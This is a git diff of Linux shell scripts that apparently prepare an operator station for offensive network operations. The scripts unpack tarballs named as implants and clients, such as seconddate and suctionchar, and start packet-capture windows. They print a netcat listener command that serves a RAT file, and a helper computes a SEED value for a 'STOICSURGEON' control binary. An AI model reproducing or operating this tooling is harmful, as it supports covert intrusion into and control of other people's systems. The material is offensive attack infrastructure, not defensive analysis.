if [ "$GEN3" ] ; then + ans="" + while [ 1 ] ; do + if [ "$SUITEOPTION" -a !"$ans" ] ; then + ans=$SUITEOPTION + SUITEOPTION="" + else + note "You are on a GEN3 station ($GEN3)." + echo -en "\nWhere are you (Room-Station)? " + read ans + echo + fi + TEST=`echo "$ans" | tr -dc '[0-9-]'` + TEST=`echo "$ans" | grep "^[0-9][0-9]*-[0-9][0-9]*$"` + [ "$TEST" = "$ans" ] && break + notered "You must answer ##-##, you entered \"$ans\"" + continue + done + SUITELOC=$ans + echo $SUITELOC > /root/suiteloc.txt + echo GEN3 $SUITELOC $GEN3 |tee /tmp/suiteinfo + else + runsuite + fi + ls -al /tmp/suiteinfo + + if [ -d "/share/down" ] ; then + note "Moving old /share/down contents to $TOP/$DATE/tmp/OLDSHAREDOWN" + # OLDSHAREDOWN will not exist, we just made this stuff + [ -f /share/down/down ] && mv -v /share/down/down $TOP/$DATE/tmp/OLDSHAREDOWN + [ -d /share/down ] || mkdir -pv /share/down + ls -arltd /share/down/* $TOP/$DATE/tmp/OLDSHAREDOWN/ + [ "$GEN3" ] || note "The OLDSHAREDOWN content will be wiped by getopdata\nat the end of the op." + fi + note "Starting Samba..." + service smb restart | grep -v "^$" + netstat -antp | grep :445.*LISTEN | sed "s/ *$//g" + + cat <<'EOF' > $TOP/$DATE/$TOOLS/shareon.sh +#!/bin/bash + MSG=" + +Duping /current/down to /share/down/down as user fred via popped up xterm +running a new (niced +5) rsync every 10 seconds. + +You can just stop it with a ^C, but only if no one needs it. +You can re-start it later whenever you like with \"1x -e shareon.sh\". + +You can minimize this window. +" + echo -e "$MSG" + sleep 10 + while [ 1 ] ; do + START=`date +%s` + nice -n 5 rsync -tvvr /current/down /share/down || break + STOP=`date +%s` + LEN=$((STOP-START)) + S="" + if [ $LEN -gt 1 ] ;then + S=s + else + LEN="ONLY $LEN" + fi + chown -R fred /share/down + echo -e "\n\n\n`date`\n\n" + echo -e "Last one took $LEN second$S. Next one begins in 10 seconds...\n" + echo -e "$MSG" + sleep 10 + done +EOF + chmod +x $TOP/$DATE/$TOOLS/shareon.sh + + if [ ! "$NOSHAREON" ] ; then + xterm -hold -title "automatic rsync of /current/down to /share/down" -e $TOP/$DATE/$TOOLS/shareon.sh & + fi + # Start ethwarn (after zip is mounted now) + rm -f /tmp/filters.inuse + note "No longer running /usr/local/bin/ethwarn, start it yourself if you want it + (calls $TOP/$DATE/$TOOLS/ethwarn.pl): + /usr/local/bin/ethwarn + +" + + export SUITELOC GEN3 SUITENUM GEN3SITE GEN3SUITE + + # To turn on autocheckins, define DOCHECKINS to be non-empty. + export DOCHECKINS + + + note "Running getopdata -- Op Info Collector and Packer-Upper in another window..." + (cd ; $TERM -hold -ie -name "OP Info Collector and OP Packer-Upper" -display $OPDATADISPLAY -geometry 207x70+1+0 -e $TOP/$DATE/$TOOLS/getopdata viascrubhands)& + + # Build $TOP/$DATE/$DOWN/opnotes.txt.pregetopdata and pop up editor for it +# cat <> $TOP/$DATE/$DOWN/opnotes.txt.pregetopdata +# cat <> $TOP/$DATE/$DOWN/opnotes.txt + cd $TOP/$DATE/$DOWN +# (cd ; $TERM -name "OP Info Pre-opnotes.txt" -display $OPDATADISPLAY -geometry 135x56-0-0 -e vim + $TOP/$DATE/$DOWN/opnotes.txt.pregetopdata )& +# (cd ; $TERM -name "OP Info Pre-opnotes.txt" -display $OPDATADISPLAY -geometry 135x56-0-0 -e vim + $TOP/$DATE/$DOWN/opnotes.txt )& + +fi + +if [ ! ${INTERFACE:0:3} = "ppp" ] ; then + # If we are not using ppp, filter out these for ethwarn (this will + # overwrite/override any leftover from previous op to these defaults) + cat < /tmp/filters.inuse +NetBeui +arp reply +802.1d config +netbios +pathcost +who-has +router +EOF + note "Not using ppp, so ethwarn will filter out:\n`cat /tmp/filters.inuse | sed \"s/^/ /g\"`" + (sleep 2 ; mv /tmp/filters.inuse /tmp/filters) & +fi + +## BEGIN TARBALLS +# unpack several tarballs in background +# the sleeps (one per untar, then one after last block, +# will put all the "note"s together. +if [ ! "$DOUPGRADE" = "yes" ] ; then + note Unpacking several tarballs in background + if [ ls -l $TOP/$DATE/*.keys.tar $TOP/$DATE/*.keys.tar.bz2 2>/dev/null ] ; then + sleep 1 + { + for keyfile in *.keys.tar ; do + tar -C $TOP/$DATE -xf $keyfile + done + for keyfile in *.keys.tar.bz2 ; do + tar -C $TOP/$DATE -xjf $keyfile + done + chown -hR 0.0 $TOP/$DATE + } & + fi + if [ -f "$TOP/$DATE/$FWTARBZ" ] ; then + note "\t$TOP/$DATE/$FWTARBZ" + sleep 1 + { + cd $TOP/$DATE/bin + tar xvjf ../$FWTARBZ > /dev/null 2>&1 + mv -v ../$FWTARBZ $TOP/$DATE/tmp + chown -hR 0.0 $TOP/$DATE + } & + fi + if [ -f "$TOP/$DATE/$FWBALL" ] ; then + note "\t$TOP/$DATE/$FWBALL" + sleep 1 + { + cd $TOP/$DATE/bin + unzip ../$FWBALL > /dev/null 2>&1 + chown -hR 0.0 $TOP/$DATE + } & + fi + #for routerfile in $RTRBALLS ; do + # if [ -f "$routerfile" ] ; then + # note "\t$routerfile" + # sleep 1 + # { + # tar -C $TOP/$DATE/ -xjf $routerfile + # rm -f $routerfile +# chown -hR 0.0 $TOP/$DATE + # } & + # fi + #done + + # Roottools is special, unpacks into / (BE CAREFUL) + if [ -f "$TOP/$DATE/bin/roottools.tar.bz2" ] ; then + note "\t$TOP/$DATE/bin/roottools.tar.bz2 (INTO /)" + sleep 1 + { + tar -C / -xjf $TOP/$DATE/bin/roottools.tar.bz2 + rm -f $TOP/$DATE/bin/roottools.tar.bz2 + chown -hR 0.0 $TOP/$DATE + } & + fi + + # This set of loops catches a bunch of them, unpacks them + # into wherever they were (bin or up), then deletes them + # (all in the background). + for tool in pork seconddate suctionchar ; do + for dir in up bin ; do + for file in slyheretic_checks charm jackhelper curses orleans sift skimcountry crypttool enemyrun localtools dewdrops stoicctrls strifeworld tipoffs watcher \ + ${tool}_clients ${tool}_implants \ + suctionchar_agents suctionchar_decodes ; do + if [ -f "$TOP/$DATE/$dir/$file.tar.bz2" ] ; then + usleep 333000 2>/dev/null || sleep 1 + { + if [ -f "$TOP/$DATE/$dir/$file.tar.bz2" ] ; then + note "$TOP/$DATE/$dir/$file.tar.bz2" + tar -C $TOP/$DATE/$dir -xjf "$TOP/$DATE/$dir/$file.tar.bz2" 2>/dev/null + rm -f "$TOP/$DATE/$dir/$file.tar.bz2" + fi + chown -hR 0.0 $TOP/$DATE + } & + fi + done + done + done + + + if [ -f "$TOP/$DATE/bin/varkeys/pitches.tar.bz2" ] ; then + note "\t$TOP/$DATE/bin/varkeys/pitches.tar.bz2" + sleep 1 + { + tar -C $TOP/$DATE/bin/varkeys -xjf $TOP/$DATE/bin/varkeys/pitches.tar.bz2 + rm -f $TOP/$DATE/bin/varkeys/pitches.tar.bz2 + chown -hR 0.0 $TOP/$DATE + } & + fi + if [ -f "$TOP/$DATE/bin/jlstuff.tar.bz2" ] ; then + note "\t$TOP/$DATE/bin/jlstuff.tar.bz2" + sleep 1 + { + tar --keep-old-files -C $TOP/$DATE/ -xjf $TOP/$DATE/bin/jlstuff.tar.bz2 2>/dev/null + rm -f $TOP/$DATE/bin/jlstuff.tar.bz2 + } & + fi + sleep 2 + mkdir -p $TOP/$DATE/bin/jscanner_pkg + # jscanner only do one of the three possibilities, but do whole loop backgrounded + # First in this order (debugging, you can put your own there as .tar.bz2 for instance + for jfile in "$TOP/$DATE/bin/jscanner.tar.gz" "$TOP/$DATE/bin/jscanner.tar.bz2" "$TOP/$DATE/$JSCANNERFILE" "$TOP/$DATE/bin/$JSCANNERFILE" ; do + if [ -f "$jfile" ]; then + { + note "\t$jfile" + echo $jfile | grep -q zip$ && \ + unzip -qq -d $TOP/$DATE/bin/jscanner_pkg $jfile && \ + rm -f "$jfile" + echo $jfile | grep -q tar.bz2$ && \ + tar -C $TOP/$DATE/bin/jscanner_pkg -xjf $TOP/$DATE/bin/jscanner_pkg $jfile && \ + rm -f "$jfile" + echo $jfile | grep -q tar.gz$ && \ + tar -C $TOP/$DATE/bin/jscanner_pkg -xzf $TOP/$DATE/bin/jscanner_pkg $jfile && \ + rm -f "$jfile" + [ -e "$jfile" ] || \ + { + chmod 751 $TOP/$DATE/bin/jscanner_pkg/externalScans/js.* \ + $TOP/$DATE/bin/jscanner_pkg/externalScans/rpc* \ + $TOP/$DATE/bin/jscanner_pkg/jscan.pl 2>/dev/null + rm -rf $TOP/$DATE/bin/jscanner_pkg/jscan $TOP/$DATE/bin/jscanner.tar.bz2 + rm -rf $TOP/$DATE/bin/jscanner_pkg/scantypes/xprobe2.xml + # Once any ONE of these is unpacked, wipe them all, so we + # do only first we encounter in that order. + rm -rf $TOP/$DATE/bin/jscanner_pkg/scantypes/telnetCommand.xml \ + "$TOP/$DATE/bin/jscanner.tar.gz" "$TOP/$DATE/bin/jscanner.tar.bz2" \ + "$TOP/$DATE/$JSCANNERFILE" "$TOP/$DATE/bin/$JSCANNERFILE" + } + } + else + continue + fi + [ -f "$jfile" ] && \ + notered Malformed JSCANNERFILE=$jfile not used && \ + rm -f "$jfile" && \ + continue + break + done & + + # Unpack morerats.tar.bz2 + $TOP/$DATE/$TOOLS/getmorerats + # This sleep 1 so all the "note"s above are grouped together + sleep 1 +fi +## END OF TARBALLS + + + +echo Directory: $TOP/$DATE +ls -al +if [ "$ZIP" = "" ]; then + bzip2 -d *.bz2 2>/dev/null + gzip2 -d *gz 2>/dev/null + for TMP in `ls -at *.tar` ; do + tar xvf $TMP + done +fi + +if [ "`ls -al $TOP/$DATE/$TOOLS | egrep -v \"getopdata|4x|ethwarn|doupgrade\" | tail --lines=+4`" = "" ]; then + echo ls -lR $TOP/$DATE + ls -lR $TOP/$DATE + echo "" + echo "Bad vibes. Your opdir appears to be empty. Above is a recursive ls of it." + echo "This can happen when there's a tar floppy in drive that's doesn't have an" + echo "op tarball on it." + echo "" + echo "Bailing now. Fix your floppy, or use a ZIP." + echo "" + echo "Now wiping $TOP/$DATE for you (unless you ^C fast)." + echo sleep 2 + sleep 4 + PIDSTOKILL=`ps -ewwwwf | grep perl | grep getopdata | grep -v grep | awk '{print $2}' | tr "\n" " " ` + kill $PIDSTOKILL + PIDSTOKILL=`ps -ewwwwf | grep TCPDUMP | grep -v grep | awk '{print $2}' | tr "\n" " " ` + kill $PIDSTOKILL + notered Wiping $TOP/$DATE in 5 seconds unless you Ctrl-C NOW... + sleep 5 && rm -rf $TOP/$DATE + exit +fi +chown -h 0:0 $TOP/* +chown -hR 0:0 $TOP/$DATE & +echo Just Reset owner:group to 0:0 with: +echo chown -h 0:0 $TOP/\* +echo chown -hR 0:0 $TOP/$DATE + +if [ -d $TOP/$DATE/TOOLS ]; then + #never used I believe... + TOOLS=TOOLS + DOWN=DOWN + TEXTS=TEXTS + UP=TOOLS + LOCALIPVAR=###LOCALIP### +fi + +if [ "`grep random[0-9]*-[0-9]* $TOP/$DATE/$TEXTS/*script* 2>/dev/null`" ] ; then + # randomizes random ports and such in scripts + echo "" + echo "RANDOMIZING random[0-9]*-[0-9]*-[0-9]* strings in $TEXTS/*scripts* ..." + mkrandom + echo "Done. (originals preserved in .premkrandom files)" + echo "" +fi + +if [ ! -d $TOP/$DATE/$DOWN ]; then + mkdir -p $TOP/$DATE/$DOWN +fi + +cd $TOP/$DATE/$DOWN + +# make myenv show current pastables for tcpdump, scripted windows +# First set up the executable part of it, all but the first N+3 lines +rm -f /usr/local/bin/myenv 2>/dev/null +echo "" >> /usr/local/bin/myenv +LINE=`wc -l /usr/local/bin/myenv | awk '{print $1}'` +LINE=`expr $LINE + 3` +echo "tail --lines=+$LINE /usr/local/bin/myenv" >> /usr/local/bin/myenv +echo "exit" >> /usr/local/bin/myenv + + +# Build the new tcpdump.raw shell script +cat <<'EOF' > /usr/local/bin/tcpdumpwindow.new +#!/bin/bash +export INTERFACE=INTERFACEVALUE +export HOSTIP="HOSTIPVALUE" + +die() { + echo -e "$*" 1>&2 + exit 2 +} +# Scripted by calling process we hope: script -af /TOPVALUE/DATEVALUE/down/tcpdump.raw +cd /TOPVALUE/DATEVALUE/down +TEST="`pschain | grep script.-af.tcpdump.raw`" +[ "$TEST" ] || TEST="`scriptcheck | grep tcpdump.raw`" +[ "$TEST" ] || die $0 must be run in a scripted window writing to /current/down/tcpdump.raw + +while [ 1 ] ; do + TEST=`ifconfig $INTERFACE 2>/dev/null | egrep "inet addr:[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*"` + if [ "$TEST" ] ; then + ifconfig -a + if [ "$HOSTIP" ] ; then + echo $HOSTIP | grep -q "host " || HOSTIP="host $HOSTIP" + fi + tcpdump -n -n -tttt -i $INTERFACE $HOSTIP + # Add this line to mark end of op + echo Script done on `date +%c` + else + echo `date`: Waiting on $INTERFACE to come up... + sleep 30 + fi +done +exit + +EOF + +# $TERM -name tcp -title TCPDUMP -display $TCPDISPLAY -geometry 170x8+1963-18 & +# if [ "$P" = "1" ]; then +# TCPDUMP_CMD="tcpdump -n -n -tttt -i $ETHER host ${PALIP}" +# else +# TCPDUMP_CMD="tcpdump -n -n -tttt -i $INTERFACE" +# fi +# $TERM -name tcp -title TCPDUMP -display $TCPDISPLAY -geometry 170x8+1963-18 -e "cd $TOP/$DATE/$DOWN;/usr/bin/script -af tcpdump.raw -c \"sh -c \\\"/usr/local/bin/tcpdumpwindow\\\"\"" & +# + +# The rest of myenv is catted out when myenv is run +echo "" >> /usr/local/bin/myenv +note "# TCPDUMP -- NOW STARTED AUTOMATICALLY" >> /usr/local/bin/myenv +#note "++ paste cd and script -af lines first, then next block, not all at once ++" >> /usr/local/bin/myenv +#echo "ifconfig -a" >> /usr/local/bin/myenv +note "++ Building and starting /usr/local/bin/tcpdumpwindow in a popup" +note "++ Rerun in scripted window if you lose it." +if [ "$P" = "1" ]; then + # Used to be "host $PALIP" took off now with firewall + sed -e "s,INTERFACEVALUE,$ETHER,g" \ + -e "s,HOSTIPVALUE,$PALIP,g" \ + -e "s,TOPVALUE,$TOP,g" \ + -e "s,DATEVALUE,$DATE,g" \ + /usr/local/bin/tcpdumpwindow.new > /usr/local/bin/tcpdumpwindow + TCPDUMPTITLE="TCPDUMP on $ETHER host $PALIP" + #echo "tcpdump -n -n -tttt -i $ETHER host ${PALIP}" >> /usr/local/bin/myenv +else + sed -e "s,INTERFACEVALUE,$INTERFACE,g" \ + -e "s,HOSTIPVALUE,$PALIP,g" \ + -e "s,TOPVALUE,$TOP,g" \ + -e "s,DATEVALUE,$DATE,g" \ + /usr/local/bin/tcpdumpwindow.new > /usr/local/bin/tcpdumpwindow + TCPDUMPTITLE="TCPDUMP on $INTERFACE" + #echo "tcpdump -n -n -tttt -i $INTERFACE" >> /usr/local/bin/myenv +fi +chmod 700 /usr/local/bin/tcpdumpwindow +$TERM -name tcp -title "$TCPDUMPTITLE" -display $TCPDISPLAY -geometry 170x8+1963-18 -e "cd $TOP/$DATE/$DOWN;/usr/bin/script -af tcpdump.raw -c \"sh -c \\\"/usr/local/bin/tcpdumpwindow\\\"\"" & +echo "# --Run this to restart your bandwidth monitor window:" +echo "# -- /usr/local/bin/bwmon" >> /usr/local/bin/myenv +echo "# --These tcpdump ones no longer needed unless you lose that window:" +echo "# -- cd $TOP/$DATE/$DOWN" >> /usr/local/bin/myenv +echo "# -- /usr/bin/script -af tcpdump.raw" >> /usr/local/bin/myenv +echo "# -- /usr/local/bin/tcpdumpwindow" >> /usr/local/bin/myenv +echo "" >> /usr/local/bin/myenv +echo "" >> /usr/local/bin/myenv +note "# SCRIPT WINDOWS" >> /usr/local/bin/myenv +echo "" >> /usr/local/bin/myenv +echo "cd $TOP/$DATE/$DOWN" >> /usr/local/bin/myenv +echo "/usr/bin/script -af script.\$\$" >> /usr/local/bin/myenv +echo "" >> /usr/local/bin/myenv +echo "" >> /usr/local/bin/myenv +note "# ENV FOR WINDOWS" >> /usr/local/bin/myenv +echo "" >> /usr/local/bin/myenv +echo "cd $TOP/$DATE/$TOOLS" >> /usr/local/bin/myenv +echo "export DISPLAY=:0.0" >> /usr/local/bin/myenv +echo "PS1=\"\t \h \w> \"" >> /usr/local/bin/myenv +echo "export NHOME=/current" >> /usr/local/bin/myenv + +#echo "PS1=\"\`uname -n\`# \"" >> /usr/local/bin/myenv +fixpath PATH=/usr/java/jre1.6.0_03/bin:$TOP/$DATE/$TOOLS:/usr/local/sbin:/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin:$PATH >> /usr/local/bin/myenv +#echo "PATH=/usr/java/j2sdk1.4.2_01/bin/:$TOP/$DATE/$TOOLS:/usr/local/sbin:/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin:\$PATH" >> /usr/local/bin/myenv +echo "export DISPLAY PS1 PATH; date; pwd; uname -a; netstat -rn ; ifconfig -a ; env | grep PATH" >> /usr/local/bin/myenv +echo -e "didthis\n" >> /usr/local/bin/myenv +LINE2=`wc -l /usr/local/bin/myenv | awk '{print $1}'` +LINE2=`expr $LINE2 - $LINE` +chmod 700 /usr/local/bin/myenv +echo "### NOTE: Now see those $LINE2 lines at any time by typing \"myenv\"." >> /usr/local/bin/myenv + + +# END MYENV + +if [ "$DOUPGRADE" = "yes" ] ; then + # Only doing upgrade--do not bother with scripme + $TOP/$DATE/bin/doupgrade + exit +elif [ ! "$DOUPGRADE" = "no" ] ; then + note "Running doupgrade -- upgrades /usr/local/sbin from /current/bin in another window..." + EXPLOIT_SCRIPME="$TOP/$DATE/bin/doupgrade" scripme -F -t AUTOUPGRADE -X"-geometry 98x57+1290+0 -title \"UPGRADING /usr/local/sbin\"" +fi + +### Bandwidth monitor window ### +if [ -x $TOP/$DATE/bin/bwmon.py ] ; then + cat < /usr/local/bin/bwmon +ps -efwwwwwww | grep -v [0-9].grep | grep -q xterm.*Bandwidth.Mon || \\ + ($TERM -title "Bandwidth Monitoring $PUBLICETHER started \`date -u +%H:%M\` UTC" -geometry 87x5-0-24 -e "$TOP/$DATE/bin/bwmon.py -e $PUBLICETHER $TOP/$DATE/down/bwmonitor.txt")& + +EOF +else + cat < /usr/local/bin/bwmon +ps -efwwwwwww | grep -v [0-9].grep | grep -q xterm.*Bandwidth.Mon || \\ + ($TERM -title "Bandwidth Monitoring $PUBLICETHER started \`date -u +%H:%M\` UTC" -geometry 70x5-0-24 -e "while [ 1 ]; do (echo;date -u;ifconfig $PUBLICETHER | grep RX) | tee -a /current/down/bwmonitor.txt ; sleep 5; done")& +EOF +fi +chmod 700 /usr/local/bin/bwmon +/usr/local/bin/bwmon + +# rename scripme.override if they don't want it +[ "$NOSCRIPME" -a -e $TOP/$DATE/etc/scripme.override ] && \ + mv $TOP/$DATE/etc/scripme.override $TOP/$DATE/etc/scripme.override.ignored + +# for now, only those with override will get scripme windows automatically +if [ ! -x "/usr/local/bin/scripme" ] || \ + [ ! -x "/usr/local/bin/scripme.pl" ] || \ + [ ! -e $TOP/$DATE/etc/scripme.override ] ; then + # do it the old way--no scripme -F + cd $TOP/$DATE/$DOWN + echo "" + note "${TERM}S (4x will give you four nice ${TERM}s...see \"4x -h\")" + echo "4x" + + echo "" + note "RAT" + RAT=`ls -lart $TOP/$DATE/$UP|grep \.uu|awk '{print $9}' | tail --lines=-1` + RATLINE=`grep "^nc -l -p" $TOP/$DATE/$TEXTS/opscript.txt | grep \.uu$ | head -1` + RAT2=`echo $RATLINE | awk '{print $6}'` + if [ ! -f $TOP/$DATE/$UP/$RAT -a -f $TOP/$DATE/$UP/$RAT2 ] ; then + RAT=$RAT2 + fi + echo "cd $TOP/$DATE/$UP" + if [ ! -z "$RATLINE" ] ; then + echo "ls -la *.uu" + echo $RATLINE + else + if [ -f $TOP/$DATE/$UP/$RAT ] ; then + echo "ls -la $RAT" + echo "nc -l -p 32177 -n -vv < $RAT" + fi + fi + + note "OPSCRIPT" + echo "cd $TOP/$DATE/$TEXTS" + SCRIPT=`ls -lart $TOP/$DATE/$TEXTS|grep opscript.txt|awk '{print $9}'|tail --lines=-1` + + #echo "(Paste following into gvim window that pops + #up and triple-click as much as you like)" + #gvim $SCRIPT + echo "vim $SCRIPT" + + if [ "$P" = "1" ]; then + PIP=`grep "^etherConfig" $TOP/$DATE/$TEXTS/$SCRIPT | awk '{print $2}'` + echo ":%s/$PIP/${PALIP}/g" + OLDPALROUTER=`grep "^etherConfig" $TOP/$DATE/$TEXTS/$SCRIPT | awk '{print $4}'` + echo ":%s/$OLDPALROUTER/${PALROUTER}/g" + fi + echo ":%s/$LOCALIPVAR/$LOCALIP/g" + echo ":%s#CURRENTDIR#\\$TOP\/$DATE\/$DOWN#g" + echo ":1" + echo "" + /usr/local/bin/myenv +else + # New way with scripme + + # fix opscript without pastables + rm -rf /tmp/opscript.tmp + SCRIPT=`ls -lart $TOP/$DATE/$TEXTS|grep opscript.txt|awk '{print $9}'|tail --lines=-1` + SCRIPT="$TOP/$DATE/$TEXTS/$SCRIPT" + WORKINGDIR="`grep "^####[ ]*\/" $SCRIPT | head -1 | awk '{print $2}'`" + [ -e ${SCRIPT}.prescrub ] || cp -pf $SCRIPT ${SCRIPT}.prescrub + cp -pf $SCRIPT.prescrub /tmp/opscript.tmp + if [ "$P" = "1" ]; then + PIP=`grep "^etherConfig" $SCRIPT.prescrub | awk '{print $2}'` + OLDPALROUTER=`grep "^etherConfig" $SCRIPT.prescrub | awk '{print $4}'` + sed "s/${PIP}/${PALIP}/g" $SCRIPT.prescrub | sed "s/${OLDPALROUTER}/${PALROUTER}/g" > /tmp/opscript.tmp + fi + sed "s/$LOCALIPVAR/$LOCALIP/g" /tmp/opscript.tmp | \ + sed "s#CURRENTDIR#$TOP/$DATE/$DOWN#g" | \ + sed "s#WORKINGDIR#$WORKINGDIR#g" > $SCRIPT + rm -f /tmp/opscript.tmp + echo "Running \"scripme -F\", to get some scripted xterms, your +opscript.txt in a vi window, and a scripted tcpdump on $INTERFACE" + INTERFACE=$INTERFACE LOCALIP=$LOCALIP scripme -F +fi +# endif scripme or not + +# do a uz unless we want to leave mounted or are in FG mode +# FG case: /mnt/zip is already a mounted TC volume +if [ ! "$LEAVEMOUNTED" ] ; then + [ "$DEBUG" ] && notered "Debug is on, so not running findzip -u!!" + if [ ! "$DEBUG" ] ; then + if [ "$FG" == 1 ]; then + notered "About to run a uz, make sure both ops stations are setup since we will be unmounting and removing truecrypt files. Hit enter to continue with uz" + read pauseresponse + fi + findzip -u + if [ "$FG" == 1 ] ; then + note "Here is your myenv again" + /usr/local/bin/myenv + fi + fi + # [ "$DEBUG" ] || umount /mnt/zip 2>/dev/null +fi +echo -e "GOT ONE!!" + +if [ "$P" = "1" -a ! "$LOCALIP" = "$PALIP" ]; then + echo "" + echo "" + echo "" + echo "" + $SETCOLOR_WARNING + echo -e "\aUh-Oh: Your local IP seems to be $LOCALIP but you said $PALIP" + echo -e "\a was your local IP on the command line. IS THIS A PROBLEM????\a" + $SETCOLOR_NORMAL + echo "" + echo "" + echo "" + echo "" + +fi + +echo "" +echo "" diff --git a/Linux/bin/seconddate_clients.tar.bz2 b/Linux/bin/seconddate_clients.tar.bz2 new file mode 100644 index 0000000..9a8c9b2 Binary files /dev/null and b/Linux/bin/seconddate_clients.tar.bz2 differ diff --git a/Linux/bin/seedcalc b/Linux/bin/seedcalc new file mode 100755 index 0000000..e814399 --- /dev/null +++ b/Linux/bin/seedcalc @@ -0,0 +1,42 @@ +#!/bin/bash +# seedcalc - calculate SEED environment var for stoic + +usage() +{ + echo "USAGE:" + echo "$PROG hostname" + echo + echo "Calculates value for SEED environment variable for use with using " + echo "the Ctrl binary with STOICSURGEON. The hostname must be output from " + echo "the \"uname -n\" command. Uses the following algorithm:" + echo + echo "echo -n hostname | rev | tr -d '\n' | md5sum | cut -f1 -d' '" + echo + echo "### OR, if rev is not available ###" + echo + echo "echo -n hostname | sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' | tr -d '\n' | md5sum | cut -f1 -d' '" + echo + version + exit +} + +version() +{ + echo "$PROG version $VER" +} + +PROG=`basename $0` +VER="1.0.0.1" + +# Print usage if no options +if [ ! "$1" ]; then + usage +fi + +# Use rev if there to reverse hostname, if not use sed +if [ ! "`which rev 2>/dev/null`" ]; then + echo -n $1 | rev | tr -d '\n' | md5sum | cut -f1 -d' ' +else + echo -n $1 | sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' | tr -d '\n' | md5sum | cut -f1 -d' ' +fi + diff --git a/Linux/bin/sendopnotes b/Linux/bin/sendopnotes new file mode 100755 index 0000000..394d060 --- /dev/null +++ b/Linux/bin/sendopnotes @@ -0,0 +1,53 @@ +#!/bin/bash +VERSION="1.0.0.5" +[ "$OPNOTESIP" ] || OPNOTESIP=192.168.254.72 +OPNOTESPORT=9999 +OPNOTESFILE=/current/down/opnotes.txt +OPNOTESCONVERTED=/tmp/opnotes.txt +ERROUT=/current/tmp/sendopnotes.err + + +if [[ $1 = "-h" ]]; then + echo "Called by scrubhands." + echo "`basename $0` version $VERSION" + exit +fi +if [[ $1 = "-v" ]]; then + echo "`basename $0` version $VERSION" + exit +fi + +if [[ ! `which nc 2>/dev/null` ]]; then + echo "No nc in PATH." + exit +fi + +BYTESSENT=0 +while [ $BYTESSENT -le 0 ] ; do + echo "Connecting to Windows box at $OPNOTESIP:$OPNOTESPORT to send opnotes" + unix2dos -n $OPNOTESFILE $OPNOTESCONVERTED + nc -vv -n $OPNOTESIP $OPNOTESPORT < $OPNOTESCONVERTED 2>$ERROUT + cat $ERROUT + BYTESSENT=`grep sent $ERROUT | sed "s/,.*rcvd.*//g" | sed "s/.* //g"` + [ "$BYTESSENT" ] || BYTESSENT=0 + if [ $BYTESSENT -le 0 ] ; then + echo -n "Sent 0 bytes Windows box, want to try again? [N] " + read ans + ans=${ans:0:1} + ans=`echo $ans | tr 'A-Z' 'a-z'` + [ "$ans" = "y" ] || break + echo -n "Windows Box IP: [$OPNOTESIP] " + read ans + if [ "$ans" ] ; then + ans=`echo $ans | grepip 2>/dev/null` + if [ ! "$ans" ] ; then + echo -e "Invalid IP, sticking with $OPNOTESIP\a" + OPNOTESIP=$newans + fi + + fi + fi + +done + +rm -f $OPNOTESCONVERTED diff --git a/Linux/bin/sendopnotes.old b/Linux/bin/sendopnotes.old new file mode 100755 index 0000000..f4d1631 --- /dev/null +++ b/Linux/bin/sendopnotes.old @@ -0,0 +1,43 @@ +#!/bin/bash +VERSION="1.0.0.3" +OPNOTESIP=192.168.254.72 +OPNOTESPORT=9999 +OPNOTESFILE=/current/down/opnotes.txt +OPNOTESCONVERTED=/tmp/opnotes.txt +ERROUT=/current/tmp/sendopnotes.err + + +if [[ $1 = "-h" ]]; then + echo "Called by scrubhands." + echo "`basename $0` version $VERSION" + exit +fi +if [[ $1 = "-v" ]]; then + echo "`basename $0` version $VERSION" + exit +fi + +if [[ ! `which nc 2>/dev/null` ]]; then + echo "No nc in PATH." + exit +fi + +BYTESSENT=0 +while [ $BYTESSENT -le 0 ] ; do + echo "Connecting to Windows box at $OPNOTESIP:$OPNOTESPORT to send opnotes" + unix2dos -n $OPNOTESFILE $OPNOTESCONVERTED + nc -vv $OPNOTESIP $OPNOTESPORT < $OPNOTESCONVERTED 2>$ERROUT + cat $ERROUT + BYTESSENT=`grep sent $ERROUT | sed "s/,.*rcvd.*//g" | sed "s/.* //g"` + [ "$BYTESSENT" ] || BYTESSENT=0 + if [ $BYTESSENT -le 0 ] ; then + echo -n "Sent 0 bytes Windows box, want to try again? [N] " + read ans + ans=${ans:0:1} + ans=`echo $ans | tr 'A-Z' 'a-z'` + [ "$ans" = "y" ] || break + fi + +done + +rm -f $OPNOTESCONVERTED diff --git a/Linux/bin/sendopnotes.old1 b/Linux/bin/sendopnotes.old1 new file mode 100755 index 0000000..f4d1631 --- /dev/null +++ b/Linux/bin/sendopnotes.old1 @@ -0,0 +1,43 @@ +#!/bin/bash +VERSION="1.0.0.3" +OPNOTESIP=192.168.254.72 +OPNOTESPORT=9999 +OPNOTESFILE=/current/down/opnotes.txt +OPNOTESCONVERTED=/tmp/opnotes.txt +ERROUT=/current/tmp/sendopnotes.err + + +if [[ $1 = "-h" ]]; then + echo "Called by scrubhands." + echo "`basename $0` version $VERSION" + exit +fi +if [[ $1 = "-v" ]]; then + echo "`basename $0` version $VERSION" + exit +fi + +if [[ ! `which nc 2>/dev/null` ]]; then + echo "No nc in PATH." + exit +fi + +BYTESSENT=0 +while [ $BYTESSENT -le 0 ] ; do + echo "Connecting to Windows box at $OPNOTESIP:$OPNOTESPORT to send opnotes" + unix2dos -n $OPNOTESFILE $OPNOTESCONVERTED + nc -vv $OPNOTESIP $OPNOTESPORT < $OPNOTESCONVERTED 2>$ERROUT + cat $ERROUT + BYTESSENT=`grep sent $ERROUT | sed "s/,.*rcvd.*//g" | sed "s/.* //g"` + [ "$BYTESSENT" ] || BYTESSENT=0 + if [ $BYTESSENT -le 0 ] ; then + echo -n "Sent 0 bytes Windows box, want to try again? [N] " + read ans + ans=${ans:0:1} + ans=`echo $ans | tr 'A-Z' 'a-z'` + [ "$ans" = "y" ] || break + fi + +done + +rm -f $OPNOTESCONVERTED diff --git a/Linux/bin/setupisp b/Linux/bin/setupisp new file mode 100755 index 0000000..15a8268 --- /dev/null +++ b/Linux/bin/setupisp @@ -0,0 +1,326 @@ +#!/bin/bash +. /etc/rc.d/init.d/functions +VER="2.6.2.4" +SUITEVER=5.0.0.4 + +ISP_INFOFILE=/tmp/isp_info +ISP_LOG=/tmp/isp_log +#added 30 nov 05 to remove hard coded paths +ISPath=/tmp/isp/ +Tkn=Systems 